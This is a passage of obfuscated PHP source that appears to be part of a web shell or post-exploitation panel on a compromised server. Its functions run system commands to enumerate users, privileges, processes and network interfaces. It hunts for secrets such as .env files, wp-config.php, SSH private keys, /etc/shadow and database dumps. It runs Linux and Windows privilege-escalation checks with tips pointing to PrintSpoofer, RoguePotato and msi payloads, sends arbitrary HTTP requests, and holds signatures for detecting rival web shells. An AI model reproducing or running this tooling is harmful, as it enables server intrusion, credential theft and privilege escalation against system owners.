    $lines[] = 'Client IP : ' . (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-');
    $lines[] = '';

    $lines[] = '=== USER / PRIVILEGE ===';
    $lines[] = 'PHP user  : ' . get_current_user();
    if (function_exists('posix_geteuid')) {
        $lines[] = 'UID/EUID  : ' . posix_getuid() . ' / ' . posix_geteuid();
        $pw = @posix_getpwuid(posix_geteuid());
        if ($pw) $lines[] = 'Account   : ' . $pw['name'] . ' (home: ' . (isset($pw['dir']) ? $pw['dir'] : '-') . ')';
        $groups = @posix_getgroups();
        if ($groups) {
            $gn = array();
            foreach ($groups as $gid) {
                $g = @posix_getgrgid($gid);
                $gn[] = $g ? $g['name'] : $gid;
            }
            $lines[] = 'Groups    : ' . implode(', ', $gn);
        }
    }
    $whoami = _g6a69901('whoami 2>&1', $baseDir);
    $lines[] = 'whoami    : ' . trim($whoami['output']);
    $id = _g6a69901('id 2>&1', $baseDir);
    $lines[] = 'id        : ' . trim($id['output']);
    $lines[] = '';

    $lines[] = '=== PHP SECURITY ===';
    $lines[] = 'disable_functions : ' . (ini_get('disable_functions') ? ini_get('disable_functions') : '(none)');
    $lines[] = 'open_basedir      : ' . (ini_get('open_basedir') ? ini_get('open_basedir') : '(none)');
    $lines[] = 'allow_url_fopen   : ' . (ini_get('allow_url_fopen') ? 'On' : 'Off');
    $lines[] = 'allow_url_include : ' . (ini_get('allow_url_include') ? 'On' : 'Off');
    $lines[] = 'display_errors    : ' . (ini_get('display_errors') ? 'On' : 'Off');
    $lines[] = 'expose_php        : ' . (ini_get('expose_php') ? 'On' : 'Off');
    $lines[] = 'proc_open         : ' . (_gf1b8d2a(7) && !_gabc7e38(_gf0a9c3e(7)) ? 'Available' : 'Disabled');
    $lines[] = 'shell_exec        : ' . (_gf1b8d2a(1) && !_gabc7e38(_gf0a9c3e(1)) ? 'Available' : 'Disabled');
    $lines[] = 'curl              : ' . (_gf1b8d2a(11) ? 'Available' : 'Missing');
    $lines[] = 'PDO               : ' . (class_exists('PDO') ? 'Available' : 'Missing');
    $lines[] = '';

    $isWin = _gde2b43a();
    if (!$isWin) {
        $lines[] = '=== KERNEL / SYSTEM ===';
        $uname = _g6a69901('uname -a 2>&1', $baseDir);
        $lines[] = trim($uname['output']);
        $lines[] = 'Uptime: ' . trim(_g6a69901('uptime 2>&1', $baseDir)['output']);
        $lines[] = '';
    }

    $lines[] = '=== ENVIRONMENT (selected) ===';
    $envKeys = array('PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'TEMP', 'TMP', 'HTTP_HOST', 'SERVER_NAME');
    foreach ($envKeys as $k) {
        $v = getenv($k);
        if ($v !== false && $v !== '') $lines[] = $k . '=' . $v;
    }

    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _gabc7e38($fn)
{
    $disabled = ini_get('disable_functions');
    if (!$disabled) return false;
    return in_array($fn, array_map('trim', explode(',', $disabled)), true);
}

function _g1249eb4($baseDir, $scanPath)
{
    $patterns = array(
        '.env', '.env.local', '.env.production', '.env.backup', '.env.old',
        'wp-config.php', 'configuration.php', 'config.php', 'settings.php', 'LocalSettings.php',
        'database.yml', 'secrets.yml', 'web.config', 'appsettings.json', 'local.settings.json',
        'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys', '.htpasswd',
        'docker-compose.yml', 'docker-compose.yaml', '.git/config', 'passwd', 'shadow',
        'backup.sql', 'dump.sql', 'db.sql', '.my.cnf', 'pgpass', '.pgpass',
    );
    $roots = array();
    if ($scanPath !== '') {
        $resolved = _g51c64cf($baseDir, $scanPath, false);
        if ($resolved && @_gfid($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
        $roots[] = $baseDir;
        foreach (array('/var/www', '/home', '/etc', '/tmp', dirname($baseDir)) as $r) {
            if (@_gfid($r) && !in_array($r, $roots, true)) $roots[] = $r;
        }
    }

    $isWin = _gde2b43a();
    $found = array();
    if (!$isWin) {
        $nameExpr = array();
        foreach ($patterns as $p) {
            $nameExpr[] = '-name ' . _gb6799bc($p);
        }
        $expr = '\( ' . implode(' -o ', $nameExpr) . ' \)';
        foreach ($roots as $root) {
            $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth 7 ' . $expr . ' -type f 2>/dev/null | head -60';
            $out = _g6a69901($cmd, $baseDir);
            foreach (explode("\n", $out['output']) as $line) {
                $line = trim($line);
                if ($line !== '' && @_gfif($line)) {
                    $found[$line] = array(
                        'path' => $line,
                        'size' => @_gfsz($line),
                        'perm' => substr(sprintf('%o', @fileperms($line)), -4),
                        'readable' => @_gfir($line),
                    );
                }
            }
            if (count($found) >= 80) break;
        }
    } else {
        _ge14a8fd($roots[0], $patterns, $found, 0, 6);
    }

    $lines = array('=== SENSITIVE FILE SCAN ===', 'Roots: ' . implode(', ', $roots), 'Found: ' . count($found), '');
    foreach ($found as $item) {
        $flag = $item['readable'] ? '[R]' : '[--]';
        $lines[] = $flag . ' ' . $item['perm'] . ' ' . _g6244af6(isset($item['size']) ? $item['size'] : 0) . '  ' . $item['path'];
    }
    if (empty($found)) $lines[] = '(no sensitive files found in scan scope)';

    return array('ok' => true, 'output' => implode("\n", $lines), 'count' => count($found), 'files' => array_values($found));
}

function _ge14a8fd($dir, $patterns, &$found, $depth, $maxDepth)
{
    if ($depth > $maxDepth || count($found) >= 80) return;
    $h = @_gfod($dir);
    if (!$h) return;
    while (($name = _gfrd2($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        if (in_array($name, $patterns, true) && @_gfif($full)) {
            $found[$full] = array(
                'path' => $full,
                'size' => @_gfsz($full),
                'perm' => substr(sprintf('%o', @fileperms($full)), -4),
                'readable' => @_gfir($full),
            );
        }
        if (@_gfid($full) && $depth < $maxDepth) {
            _ge14a8fd($full, $patterns, $found, $depth + 1, $maxDepth);
        }
        if (count($found) >= 80) break;
    }
    _gfcd($h);
}

function _g6244af6($bytes)
{
    return _g1967d94($bytes, true);
}

function _g26b5e54($baseDir)
{
    $isWin = _gde2b43a();
    $cmd = $isWin ? 'tasklist /V' : 'ps auxww 2>/dev/null || ps -ef 2>/dev/null';
    $result = _g6a69901($cmd, $baseDir);
    return array('ok' => true, 'output' => $result['output']);
}

function _ga8da98b($baseDir)
{
    $isWin = _gde2b43a();
    if ($isWin) {
        $cmd = 'netstat -ano';
    } else {
        $cmd = 'ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null';
    }
    $result = _g6a69901($cmd, $baseDir);
    $extra = _g6a69901($isWin ? 'ipconfig /all' : 'ip addr 2>/dev/null; echo "---"; ip route 2>/dev/null', $baseDir);
    $out = "=== LISTENING / CONNECTIONS ===\n" . $result['output'] . "\n\n=== INTERFACES / ROUTES ===\n" . $extra['output'];
    return array('ok' => true, 'output' => $out);
}

function _ga893225($url, $method, $headersRaw, $body)
{
    $url = trim($url);
    if ($url === '' || !preg_match('#^https?://#i', $url)) {
        return array('ok' => false, 'error' => 'URL must start with http:// or https://');
    }
    $method = strtoupper(trim($method));
    if (!in_array($method, array('GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS'), true)) {
        return array('ok' => false, 'error' => 'Invalid HTTP method');
    }

    $hdrs = array();
    foreach (preg_split('/\r?\n/', $headersRaw) as $line) {
        $line = trim($line);
        if ($line !== '') {
            $hdrs[] = $line;
        }
    }

    if (_gf1b8d2a(11)) {
        $res = _gb37daeb($url, array(
            'method' => $method,
            'return_headers' => true,
            'timeout' => 20,
            'headers' => $hdrs,
            'body' => $body,
        ));
        if (empty($res['ok'])) {
            return array('ok' => false, 'error' => isset($res['error']) ? $res['error'] : 'Request failed');
        }
        $out = "=== HTTP RESPONSE ===\n";
        $out .= 'URL    : ' . $url . "\n";
        $out .= 'Method : ' . $method . "\n";
        $out .= 'Code   : ' . (isset($res['code']) ? $res['code'] : '?') . "\n";
        $out .= 'Time   : ' . (isset($res['total_time']) ? round($res['total_time'], 3) . 's' : '?') . "\n\n";
        $out .= isset($res['raw']) ? $res['raw'] : (isset($res['body']) ? $res['body'] : '');
        return array('ok' => true, 'output' => $out);
    }

    $cmd = 'curl -sS -k -i -X ' . _gb6799bc($method);
    foreach (preg_split('/\r?\n/', $headersRaw) as $line) {
        $line = trim($line);
        if ($line !== '') $cmd .= ' -H ' . _gb6799bc($line);
    }
    if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) {
        $cmd .= ' --data ' . _gb6799bc($body);
    }
    $cmd .= ' ' . _gb6799bc($url);
    $result = _g6a69901($cmd, $GLOBALS['baseDir']);
    return array('ok' => true, 'output' => $result['output']);
}

function _g1e818cc($text, $algo)
{
    $algos = array('md5', 'sha1', 'sha256', 'sha512', 'crc32');
    $algo = strtolower(trim($algo));
    if (!in_array($algo, $algos, true)) {
        return array('ok' => false, 'error' => 'Invalid algorithm');
    }
    if ($algo === 'crc32') {
        $hash = sprintf('%u', crc32($text));
    } else {
        $hash = hash($algo, $text);
    }
    $out = "=== HASH ($algo) ===\nInput length: " . strlen($text) . " bytes\n\n" . $hash;
    return array('ok' => true, 'output' => $out, 'hash' => $hash, 'algo' => $algo);
}

function _g49f93d6($mode, $text)
{
    $mode = strtolower(trim($mode));
    $result = '';
    switch ($mode) {
        case 'b64enc':
            $result = _g_b64e($text);
            break;
        case 'b64dec':
            $decoded = _g_b64d($text);
            if ($decoded === false) return array('ok' => false, 'error' => 'Invalid Base64');
            $result = $decoded;
            break;
        case 'urlenc':
            $result = rawurlencode($text);
            break;
        case 'urldec':
            $result = rawurldecode($text);
            break;
        case 'rot13':
            $result = str_rot13($text);
            break;
        case 'hexenc':
            $result = bin2hex($text);
            break;
        case 'hexdec':
            if (!preg_match('/^[0-9a-fA-F\s]+$/', $text)) {
                return array('ok' => false, 'error' => 'Invalid hex string');
            }
            $clean = preg_replace('/\s+/', '', $text);
            if (strlen($clean) % 2 !== 0) return array('ok' => false, 'error' => 'Odd-length hex');
            $result = pack('H*', $clean);
            break;
        default:
            return array('ok' => false, 'error' => 'Unknown codec mode');
    }
    $out = "=== CODEC ($mode) ===\n\n" . $result;
    return array('ok' => true, 'output' => $out, 'result' => $result);
}

function _g8229bab($host, $type)
{
    $host = trim($host);
    if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) {
        return array('ok' => false, 'error' => 'Invalid hostname');
    }
    if (!function_exists('dns_get_record')) {
        return array('ok' => false, 'error' => 'dns_get_record() not available');
    }
    $type = strtoupper(trim($type));
    $map = array(
        'A' => DNS_A, 'AAAA' => DNS_AAAA, 'MX' => DNS_MX, 'TXT' => DNS_TXT,
        'NS' => DNS_NS, 'CNAME' => DNS_CNAME, 'SOA' => DNS_SOA, 'PTR' => DNS_PTR,
    );
    $lines = array('=== DNS LOOKUP: ' . $host . ' ===', '');
    if ($type === 'ALL') {
        foreach ($map as $label => $const) {
            $recs = @dns_get_record($host, $const);
            if (!empty($recs)) {
                $lines[] = '--- ' . $label . ' ---';
                foreach ($recs as $r) {
                    $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                }
                $lines[] = '';
            }
        }
    } else {
        if (!isset($map[$type])) return array('ok' => false, 'error' => 'Invalid record type');
        $recs = @dns_get_record($host, $map[$type]);
        if (empty($recs)) {
            $lines[] = '(no ' . $type . ' records)';
        } else {
            foreach ($recs as $r) {
                $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
            }
        }
    }
    if (count($lines) <= 2) $lines[] = '(no records found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _g1816c4c($baseDir)
{
    $isWin = _gde2b43a();
    if ($isWin) {
        return array('ok' => true, 'output' => "=== SUID/SGID SCAN ===\nLinux/Unix only.\n");
    }
    $suid = _g6a69901('find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80', $baseDir);
    $sgid = _g6a69901('find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40', $baseDir);
    $cap = _g6a69901('getcap -r /usr /bin /sbin 2>/dev/null | head -40', $baseDir);
    $out = "=== SUID BINARIES (setuid) ===\n" . trim($suid['output']) . "\n\n";
    $out .= "=== SGID BINARIES (setgid) ===\n" . trim($sgid['output']) . "\n\n";
    $out .= "=== CAPABILITIES ===\n" . trim($cap['output']);
    return array('ok' => true, 'output' => $out);
}

function _g1c66d37(&$lines, $title, $cmd, $baseDir, &$warnCount, $warnPatterns = null)
{
    $lines[] = '--- ' . $title . ' ---';
    $result = _g6a69901($cmd, $baseDir);
    $body = trim($result['output']);
    if ($body === '') {
        $lines[] = '(no output / not accessible)';
    } else {
        if (is_array($warnPatterns)) {
            foreach (explode("\n", $body) as $row) {
                $row = rtrim($row);
                if ($row === '') continue;
                $flagged = false;
                foreach ($warnPatterns as $pat) {
                    if (@preg_match($pat, $row)) {
                        $flagged = true;
                        break;
                    }
                }
                if ($flagged) {
                    $warnCount++;
                    $lines[] = '[WARN] ' . $row;
                } else {
                    $lines[] = $row;
                }
            }
        } else {
            $lines[] = $body;
            if ($warnPatterns && @preg_match($warnPatterns, $body)) {
                $warnCount++;
                $lines[] = '[WARN] Suspicious finding in section above';
            }
        }
    }
    $lines[] = '';
}

function _g01fc3c1()
{
    return array(
        'python', 'python3', 'perl', 'ruby', 'lua', 'php', 'node',
        'find', 'nmap', 'vim', 'vi', 'nano', 'less', 'more', 'view',
        'awk', 'gawk', 'mawk', 'gcc', 'cc', 'cp', 'mv', 'tar', 'zip',
        'unzip', 'base64', 'env', 'timeout', 'watch', 'strace', 'gdb',
        'docker', 'pkexec', 'newgrp', 'dash', 'ash', 'busybox', 'mount', 'umount',
        'systemctl', 'journalctl', 'logsave', 'cpulimit', 'at', 'crontab',
    );
}

function _ga82dbf2($baseDir)
{
    @set_time_limit(300);
    $isWin = _gde2b43a();
    if ($isWin) {
        return array(
            'ok' => true,
            'output' => "=== LINUX PRIVILEGE ESCALATION AUDIT ===\nRun this audit on a Linux host (current: Windows).\nUse 'Privesc Windows' for this machine.\n",
            'count' => 0,
        );
    }

    $warnCount = 0;
    $lines = array(
        '=== LINUX PRIVILEGE ESCALATION AUDIT ===',
        'Timestamp: ' . date('Y-m-d H:i:s T'),
        'Host: ' . (function_exists('gethostname') ? gethostname() : '-'),
        '',
    );

    _g1c66d37($lines, '[1] IDENTITY (whoami / id)', 'id 2>&1; echo ---; whoami 2>&1', $baseDir, $warnCount);
    _g1c66d37($lines, '[2] SUDO PRIVILEGES', 'sudo -l 2>&1', $baseDir, $warnCount, array(
        '/NOPASSWD/i', '/\(ALL\s*:\s*ALL\)/i', '/\(ALL\)\s+ALL/i', '/env_keep/i',
    ));

    $lines[] = '--- [3] SUID BINARIES (GTFOBins highlight) ---';
    $suidOut = _g6a69901('find /usr /bin /sbin /lib /lib64 /opt /home /tmp /var -perm -4000 -type f 2>/dev/null | head -100', $baseDir);
    $known = _g01fc3c1();
    $suidLines = array_filter(array_map('trim', explode("\n", $suidOut['output'])));
    if (empty($suidLines)) {
        $lines[] = '(none found or not accessible)';
    } else {
        foreach ($suidLines as $path) {
            $bn = strtolower(basename($path));
            $hit = false;
            foreach ($known as $k) {
                if ($bn === $k || strpos($bn, $k) === 0) {
                    $hit = true;
                    break;
                }
            }
            if ($hit) {
                $warnCount++;
                $lines[] = '[WARN] ' . $path . '  ← known GTFOBins candidate';
            } else {
                $lines[] = '[INFO] ' . $path;
            }
        }
    }
    $lines[] = '';

    _g1c66d37($lines, '[4] SGID BINARIES', 'find /usr /bin /sbin /opt -perm -2000 -type f 2>/dev/null | head -50', $baseDir, $warnCount);
    _g1c66d37($lines, '[5] FILE CAPABILITIES', 'getcap -r /usr /bin /sbin /opt 2>/dev/null | head -50', $baseDir, $warnCount, array(
        '/cap_setuid/i', '/cap_setgid/i', '/cap_sys_admin/i', '/cap_dac_override/i', '/cap_sys_ptrace/i',
    ));

    _g1c66d37($lines, '[6] WRITABLE /etc FILES', 'find /etc -maxdepth 3 -type f -writable 2>/dev/null | head -40', $baseDir, $warnCount, array(
        '/\/etc\/passwd$/i', '/\/etc\/shadow$/i', '/\/etc\/sudoers/i', '/\/etc\/cron/i', '/\/etc\/systemd/i',
    ));

    _g1c66d37($lines, '[7] WORLD-WRITABLE DIRS (PATH risk)', 'find /usr/local/bin /usr/local/sbin /opt /tmp /var/tmp /dev/shm -type d -perm -0002 2>/dev/null | head -30', $baseDir, $warnCount);

    _g1c66d37($lines, '[8] DOCKER / LXD GROUP', 'ls -la /var/run/docker.sock 2>/dev/null; echo ---; groups 2>&1; echo ---; id 2>&1', $baseDir, $warnCount, '/docker|lxd|libvirt|disk|adm|sudo|wheel/i');

    _g1c66d37($lines, '[9] KERNEL & OS', 'uname -a 2>&1; echo ---; cat /etc/os-release 2>/dev/null | head -8', $baseDir, $warnCount);

    _g1c66d37($lines, '[10] MOUNT OPTIONS (nosuid/nodev)', 'mount 2>/dev/null | grep -E "nosuid|nodev|nouser" | head -20', $baseDir, $warnCount);

    _g1c66d37($lines, '[11] NFS EXPORTS', 'cat /etc/exports 2>/dev/null; showmount -e 127.0.0.1 2>/dev/null', $baseDir, $warnCount, '/no_root_squash/i');

    _g1c66d37($lines, '[12] NON-ROOT UID 0 ACCOUNTS', 'awk -F: \'($3==0 && $1!="root"){print}\' /etc/passwd 2>/dev/null', $baseDir, $warnCount, '/./');

    _g1c66d37($lines, '[13] PASSWORDLESS / EMPTY HASH', 'awk -F: \'($2=="" || $2=="!" || $2=="*"){print $1":"$2}\' /etc/passwd 2>/dev/null | head -20', $baseDir, $warnCount, '/^[^:]+:$/');

    _g1c66d37($lines, '[14] CRON WRITABLE', 'find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null | head -20', $baseDir, $warnCount);

    _g1c66d37($lines, '[15] SYSTEMD WRITABLE UNITS', 'find /etc/systemd /lib/systemd -type f -writable 2>/dev/null | head -20', $baseDir, $warnCount);

    _g1c66d37($lines, '[16] PROCESSES (root / interesting)', 'ps auxww 2>/dev/null | grep -E "^root|mysql|postgres|redis|docker" | grep -v grep | head -25', $baseDir, $warnCount);

    _g1c66d37($lines, '[17] INTERNAL LISTEN PORTS', 'ss -tulpn 2>/dev/null | head -25; echo ---; netstat -tulpn 2>/dev/null | head -25', $baseDir, $warnCount);

    _g1c66d37($lines, '[18] SSH CONFIG WEAKNESS', 'grep -iE "^PermitRootLogin|^PasswordAuthentication|^PubkeyAuthentication" /etc/ssh/sshd_config 2>/dev/null', $baseDir, $warnCount, array(
        '/PermitRootLogin\s+yes/i', '/PasswordAuthentication\s+yes/i',
    ));

    _g1c66d37($lines, '[19] RECENTLY MODIFIED SUID (7d)', 'find /usr /bin /sbin /opt /tmp -perm -4000 -type f -mtime -7 2>/dev/null | head -20', $baseDir, $warnCount);

    _g1c66d37($lines, '[20] PHP / WEB CONTEXT', 'echo "User: $(whoami)"; echo "Groups: $(id)"; php -r "echo get_current_user().PHP_EOL;" 2>/dev/null', $baseDir, $warnCount);

    $lines[] = str_repeat('=', 52);
    $lines[] = 'SUMMARY: ' . $warnCount . ' warning(s) — review [WARN] lines (manual validation required)';
    if ($warnCount === 0) {
        $lines[] = 'No automated high-risk patterns matched. Continue with manual enum (LinPEAS, pspy, etc.).';
    }

    return array(
        'ok' => true,
        'output' => implode("\n", $lines),
        'count' => $warnCount,
        'critical' => $warnCount,
    );
}

function _gf7bc291($baseDir)
{
    @set_time_limit(300);
    $isWin = _gde2b43a();
    if (!$isWin) {
        return array(
            'ok' => true,
            'output' => "=== WINDOWS PRIVILEGE ESCALATION AUDIT ===\nRun this audit on a Windows host (current: Linux/Unix).\nUse 'Privesc Linux' for this machine.\n",
            'count' => 0,
        );
    }

    $warnCount = 0;
    $lines = array(
        '=== WINDOWS PRIVILEGE ESCALATION AUDIT ===',
        'Timestamp: ' . date('Y-m-d H:i:s T'),
        'Computer: ' . trim(_g6a69901('hostname', $baseDir)['output']),
        '',
    );

    _g1c66d37($lines, '[1] WHOAMI (user / groups)', 'whoami /all 2>nul', $baseDir, $warnCount);

    _g1c66d37($lines, '[2] PRIVILEGES (whoami /priv)', 'whoami /priv 2>nul', $baseDir, $warnCount, array(
        '/SeImpersonatePrivilege\s+Enabled/i', '/SeAssignPrimaryTokenPrivilege\s+Enabled/i',
        '/SeDebugPrivilege\s+Enabled/i', '/SeBackupPrivilege\s+Enabled/i', '/SeRestorePrivilege\s+Enabled/i',
        '/SeTakeOwnershipPrivilege\s+Enabled/i', '/SeLoadDriverPrivilege\s+Enabled/i', '/SeTcbPrivilege\s+Enabled/i',
    ));

    _g1c66d37($lines, '[3] LOCAL ADMINISTRATORS', 'net localgroup administrators 2>nul', $baseDir, $warnCount);

    _g1c66d37($lines, '[4] UAC SETTINGS', 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System 2>nul', $baseDir, $warnCount, '/EnableLUA\s+0x0/i');

    _g1c66d37($lines, '[5] ALWAYSINSTALL ELEVATED', 'reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul & reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul', $baseDir, $warnCount, '/AlwaysInstallElevated\s+0x1/i');

    _g1c66d37($lines, '[6] STORED CREDENTIALS', 'cmdkey /list 2>nul', $baseDir, $warnCount, '/Target:/i');

    _g1c66d37($lines, '[7] AUTOLOGON CREDENTIALS', 'reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" 2>nul', $baseDir, $warnCount, array(
        '/DefaultPassword/i', '/AutoAdminLogon\s+0x1/i',
    ));

    _g1c66d37($lines, '[8] SYSTEM INFO & PATCHES', 'systeminfo 2>nul | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"', $baseDir, $warnCount);

    _g1c66d37($lines, '[9] INSTALLED HOTFIXES (sample)', 'wmic qfe list brief 2>nul | more +0', $baseDir, $warnCount);

    _g1c66d37($lines, '[10] UNQUOTED SERVICE PATHS', 'wmic service get name,displayname,pathname,startmode 2>nul | findstr /i /v "C:\\Windows\\\\" | findstr /i /v "?"', $baseDir, $warnCount, array(
        '/PathName.*\\s[^"]/i', '/\.exe\s/i',
    ));

    _g1c66d37($lines, '[11] SERVICES (non-Windows paths)', 'wmic service get name,pathname,startname 2>nul | findstr /i /v "C:\\Windows\\" | findstr /i /v "PathName"', $baseDir, $warnCount);

    _g1c66d37($lines, '[12] SCHEDULED TASKS (non-system paths sample)', 'schtasks /query /fo LIST /v 2>nul | findstr /i "Task To Run"', $baseDir, $warnCount, array(
        '/Task To Run:.*\\temp\\/i', '/Task To Run:.*\\users\\/i', '/Task To Run:.*powershell.*-enc/i',
        '/Task To Run:.*cmd\.exe.*\/c.*http/i',
    ));

    _g1c66d37($lines, '[13] RUN / RUNONCE KEYS', 'reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 2>nul & reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 2>nul', $baseDir, $warnCount);

    _g1c66d37($lines, '[14] WEAK SERVICE PERMISSIONS (sc qc)', 'sc qc Spooler 2>nul & sc qc wuauserv 2>nul', $baseDir, $warnCount);

    _g1c66d37($lines, '[15] DRIVERS (third-party)', 'driverquery /v 2>nul | findstr /i /v "Microsoft Windows" | more +0', $baseDir, $warnCount);

    _g1c66d37($lines, '[16] LOCAL USERS & PASSWORD POLICY', 'net user 2>nul & echo --- & net accounts 2>nul', $baseDir, $warnCount, '/Password required\s+No/i');

    _g1c66d37($lines, '[17] NETWORK SHARES', 'net share 2>nul', $baseDir, $warnCount, '/ADMIN\$|C\$/i');

    _g1c66d37($lines, '[18] LISTENING PORTS', 'netstat -ano | findstr LISTENING | more +0', $baseDir, $warnCount);

    _g1c66d37($lines, '[19] IIS / WEB CONTEXT', 'whoami & echo --- & set APPPOOL 2>nul', $baseDir, $warnCount, '/IIS/i');

    _g1c66d37($lines, '[20] POWERSHELL EXECUTION POLICY', 'powershell -Command "Get-ExecutionPolicy -List" 2>nul', $baseDir, $warnCount, '/Unrestricted|Bypass/i');

    $lines[] = str_repeat('=', 52);
    $lines[] = 'SUMMARY: ' . $warnCount . ' warning(s) — review [WARN] lines';
    $lines[] = 'Tips: SeImpersonate → PrintSpoofer/RoguePotato · AlwaysInstallElevated → msi payload · Unquoted path → service hijack';
    if ($warnCount === 0) {
        $lines[] = 'No automated patterns matched. Continue with WinPEAS, PrivescCheck, manual service review.';
    }

    return array(
        'ok' => true,
        'output' => implode("\n", $lines),
        'count' => $warnCount,
        'critical' => $warnCount,
    );
}

function _g704c91d($baseDir, $scanPath)
{
    $roots = array();
    if ($scanPath !== '') {
        $resolved = _g51c64cf($baseDir, $scanPath, false);
        if ($resolved && @_gfid($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
        $roots[] = $baseDir;
        $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
        if ($docRoot && @_gfid($docRoot)) $roots[] = $docRoot;
        foreach (array('/var/www', '/home', '/tmp', '/var/tmp', '/opt', '/srv', '/usr/local') as $r) {
            if (@_gfid($r) && !in_array($r, $roots, true)) $roots[] = $r;
        }
    }
    return array_values(array_unique($roots));
}

function _g7db71f7($aggressive)
{
    $sigs = array(
        array('pattern' => '/eval\s*\(\s*base64_decode/is', 'score' => 45, 'name' => 'eval(base64_decode())'),
        array('pattern' => '/eval\s*\(\s*gz(inflate|uncompress|decode)/is', 'score' => 45, 'name' => 'eval(gz*)'),
        array('pattern' => '/eval\s*\(\s*str_rot13/is', 'score' => 40, 'name' => 'eval(str_rot13())'),
        array('pattern' => '/eval\s*\(\s*gzuncompress/is', 'score' => 45, 'name' => 'eval(gzuncompress)'),
        array('pattern' => '/assert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/is', 'score' => 45, 'name' => 'assert($_INPUT)'),
        array('pattern' => '/preg_replace\s*\([^)]*\/e["\']/is', 'score' => 45, 'name' => 'preg_replace /e'),
        array('pattern' => '/create_function\s*\(/is', 'score' => 35, 'name' => 'create_function()'),
        array('pattern' => '/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\s*\([^)]*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'cmd_exec($_INPUT)'),
        array('pattern' => '/@eval\s*\(/is', 'score' => 35, 'name' => '@eval()'),
        array('pattern' => '/gzinflate\s*\(\s*base64_decode/is', 'score' => 40, 'name' => 'gzinflate(base64)'),
        array('pattern' => '/base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/=]{80,}/is', 'score' => 25, 'name' => 'long base64 blob'),
        array('pattern' => '/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(/is', 'score' => 30, 'name' => 'variable func call $_INPUT'),
        array('pattern' => '/(FilesMan|c99shell|r57shell|WSO\s|b374k|alfa\s*shell|AnonymousFox|IndoXploit|Gecko\s*Shell|mini\s*shell)/is', 'score' => 50, 'name' => 'known webshell brand'),
        array('pattern' => '/move_uploaded_file\s*\([^)]+\)\s*;[\s\S]{0,200}(eval|assert)/is', 'score' => 35, 'name' => 'upload+eval'),
        array('pattern' => '/\\$\{\s*[\'"]\\\\x/is', 'score' => 30, 'name' => 'hex var obfuscation'),
        array('pattern' => '/(passthru|shell_exec|system|exec)\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'direct webshell cmd'),
        array('pattern' => '/php:\/\/input/is', 'score' => 15, 'name' => 'php://input wrapper'),
        array('pattern' => '/(cmd|command|exec|shell|backdoor)\s*[\'"]?\s*=>\s*\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'cmd parameter handler'),
        array('pattern' => '/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/is', 'score' => 20, 'name' => 'chr() obfuscation chain'),
        array('pattern' => '/\\$[a-zA-Z_\x7f-\xff]{1,8}\s*=\s*[\'"][a-zA-Z0-9+\/=]{100,}[\'"]/is', 'score' => 15, 'name' => 'suspicious encoded string'),
        array('pattern' => '/\\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'double $_INPUT invoke'),
        array('pattern' => '/(include|require)(_once)?\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'dynamic include $_INPUT'),
        array('pattern' => '/file_put_contents\s*\([^,]+,\s*\$_(POST|REQUEST)/is', 'score' => 30, 'name' => 'file_put from POST'),
        array('pattern' => '/\\$[a-z_]+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*eval/is', 'score' => 35, 'name' => 'str_replace+eval'),
        array('pattern' => '/call_user_func\s*\(\s*[\'"]assert[\'"]/is', 'score' => 35, 'name' => 'call_user_func assert'),
        array('pattern' => '/ReflectionFunction\s*\(/is', 'score' => 20, 'name' => 'ReflectionFunction'),
        array('pattern' => '/\\$_(SERVER|FILES)\s*\[[^\]]+\]\s*\(/is', 'score' => 25, 'name' => '$_SERVER/FILES invoke'),
        array('pattern' => '/`[^`]*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'backtick cmd $_INPUT'),
        array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$[a-zA-Z0-9_]+\s*\(\s*\\$[a-zA-Z0-9_]+\s*\)\s*;\s*\\$[a-zA-Z0-9_]+\s*\(/is', 'score' => 20, 'name' => 'variable function chain'),
